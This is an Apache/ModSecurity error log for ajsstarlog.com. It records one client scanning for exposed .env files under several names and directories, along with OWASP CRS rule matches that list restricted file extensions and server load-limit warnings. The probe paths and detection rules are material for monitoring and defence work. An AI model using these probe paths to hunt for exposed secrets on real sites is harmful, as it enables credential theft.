[Fri Jul 17 07:54:25.637127 2026] [hostinglimits:warn] [pid 1993659:tid 1993659] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993659) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:25.637244 2026] [security2:error] [pid 1993659:tid 1993659] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSWZOFLENLI63GGOED2wAAAAQ"]
[Fri Jul 17 07:54:25.939871 2026] [security2:error] [pid 1993570:tid 1993570] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/.env.production"] [unique_id "almSWXjA8yK8B7kryx3a8gAAAAk"]
[Fri Jul 17 07:54:25.940165 2026] [security2:error] [pid 1993570:tid 1993570] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/.env.production"] [unique_id "almSWXjA8yK8B7kryx3a8gAAAAk"]
[Fri Jul 17 07:54:25.940398 2026] [hostinglimits:warn] [pid 1993570:tid 1993570] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993570) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:25.940555 2026] [security2:error] [pid 1993570:tid 1993570] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSWXjA8yK8B7kryx3a8gAAAAk"]
[Fri Jul 17 07:54:25.941951 2026] [security2:error] [pid 1994966:tid 1994966] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/.env.local"] [unique_id "almSWbyEqmgiTSUa55oBPQAAABA"]
[Fri Jul 17 07:54:25.942345 2026] [security2:error] [pid 1994966:tid 1994966] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/.env.local"] [unique_id "almSWbyEqmgiTSUa55oBPQAAABA"]
[Fri Jul 17 07:54:25.942660 2026] [hostinglimits:warn] [pid 1994966:tid 1994966] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1994966) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:25.942871 2026] [security2:error] [pid 1994966:tid 1994966] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSWbyEqmgiTSUa55oBPQAAABA"]
[Fri Jul 17 07:54:26.136625 2026] [security2:error] [pid 1993570:tid 1993570] [client 104.28.219.191:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ajsstarlog.com"] [uri "/.env.bak"] [unique_id "almSWnjA8yK8B7kryx3a8wAAAAk"]
[Fri Jul 17 07:54:26.136804 2026] [security2:error] [pid 1993570:tid 1993570] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/.env.bak"] [unique_id "almSWnjA8yK8B7kryx3a8wAAAAk"]
[Fri Jul 17 07:54:26.137091 2026] [security2:error] [pid 1993570:tid 1993570] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/.env.bak"] [unique_id "almSWnjA8yK8B7kryx3a8wAAAAk"]
[Fri Jul 17 07:54:26.232842 2026] [security2:error] [pid 1994956:tid 1994956] [client 104.28.219.191:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ajsstarlog.com"] [uri "/.env.old"] [unique_id "almSWgG5-NXx3Mem1QgHxAAAAA8"]
[Fri Jul 17 07:54:26.233044 2026] [security2:error] [pid 1994956:tid 1994956] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/.env.old"] [unique_id "almSWgG5-NXx3Mem1QgHxAAAAA8"]
[Fri Jul 17 07:54:26.233298 2026] [security2:error] [pid 1994956:tid 1994956] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/.env.old"] [unique_id "almSWgG5-NXx3Mem1QgHxAAAAA8"]
[Fri Jul 17 07:54:26.233491 2026] [hostinglimits:warn] [pid 1994956:tid 1994956] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1994956) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:26.233630 2026] [security2:error] [pid 1994956:tid 1994956] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSWgG5-NXx3Mem1QgHxAAAAA8"]
[Fri Jul 17 07:54:26.236350 2026] [security2:error] [pid 1993675:tid 1993675] [client 104.28.219.191:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ajsstarlog.com"] [uri "/.env.backup"] [unique_id "almSWjiSeFVxYLkcq6IWtAAAAAc"]
[Fri Jul 17 07:54:26.236581 2026] [security2:error] [pid 1993675:tid 1993675] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/.env.backup"] [unique_id "almSWjiSeFVxYLkcq6IWtAAAAAc"]
[Fri Jul 17 07:54:26.236917 2026] [security2:error] [pid 1993675:tid 1993675] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/.env.backup"] [unique_id "almSWjiSeFVxYLkcq6IWtAAAAAc"]
[Fri Jul 17 07:54:26.237172 2026] [hostinglimits:warn] [pid 1993675:tid 1993675] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993675) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:26.237359 2026] [security2:error] [pid 1993675:tid 1993675] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSWjiSeFVxYLkcq6IWtAAAAAc"]
[Fri Jul 17 07:54:26.364838 2026] [security2:error] [pid 1993572:tid 1993572] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/admin/.env"] [unique_id "almSWol9vhFBGA6D8l9v7AAAAAw"]
[Fri Jul 17 07:54:26.365091 2026] [security2:error] [pid 1993572:tid 1993572] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/admin/.env"] [unique_id "almSWol9vhFBGA6D8l9v7AAAAAw"]
[Fri Jul 17 07:54:26.365261 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:26.365442 2026] [security2:error] [pid 1993572:tid 1993572] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSWol9vhFBGA6D8l9v7AAAAAw"]
[Fri Jul 17 07:54:26.374319 2026] [security2:error] [pid 1993604:tid 1993604] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSWYha5y5fYnQ1qRro8QAAAAE"]
[Fri Jul 17 07:54:26.424296 2026] [security2:error] [pid 1993571:tid 1993571] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/api/.env"] [unique_id "almSWunUgtv5ujFYWh_pYAAAAA0"]
[Fri Jul 17 07:54:26.424547 2026] [security2:error] [pid 1993571:tid 1993571] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/api/.env"] [unique_id "almSWunUgtv5ujFYWh_pYAAAAA0"]
[Fri Jul 17 07:54:26.638829 2026] [security2:error] [pid 1994966:tid 1994966] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/config/.env"] [unique_id "almSWryEqmgiTSUa55oBPwAAABA"]
[Fri Jul 17 07:54:26.639144 2026] [security2:error] [pid 1994966:tid 1994966] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/config/.env"] [unique_id "almSWryEqmgiTSUa55oBPwAAABA"]
[Fri Jul 17 07:54:26.639420 2026] [hostinglimits:warn] [pid 1994966:tid 1994966] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1994966) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:26.639571 2026] [security2:error] [pid 1994966:tid 1994966] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSWryEqmgiTSUa55oBPwAAABA"]
[Fri Jul 17 07:54:26.693294 2026] [security2:error] [pid 1993572:tid 1993572] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/backend/.env"] [unique_id "almSWol9vhFBGA6D8l9v7QAAAAw"]
[Fri Jul 17 07:54:26.693613 2026] [security2:error] [pid 1993572:tid 1993572] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/backend/.env"] [unique_id "almSWol9vhFBGA6D8l9v7QAAAAw"]
[Fri Jul 17 07:54:26.693933 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:26.694160 2026] [security2:error] [pid 1993572:tid 1993572] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSWol9vhFBGA6D8l9v7QAAAAw"]
[Fri Jul 17 07:54:26.778973 2026] [security2:error] [pid 1994446:tid 1994446] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSWV2NhE8i6ppze4enVAAAAAs"]
[Fri Jul 17 07:54:27.046493 2026] [hostinglimits:warn] [pid 1993675:tid 1993675] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993675) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:27.047486 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
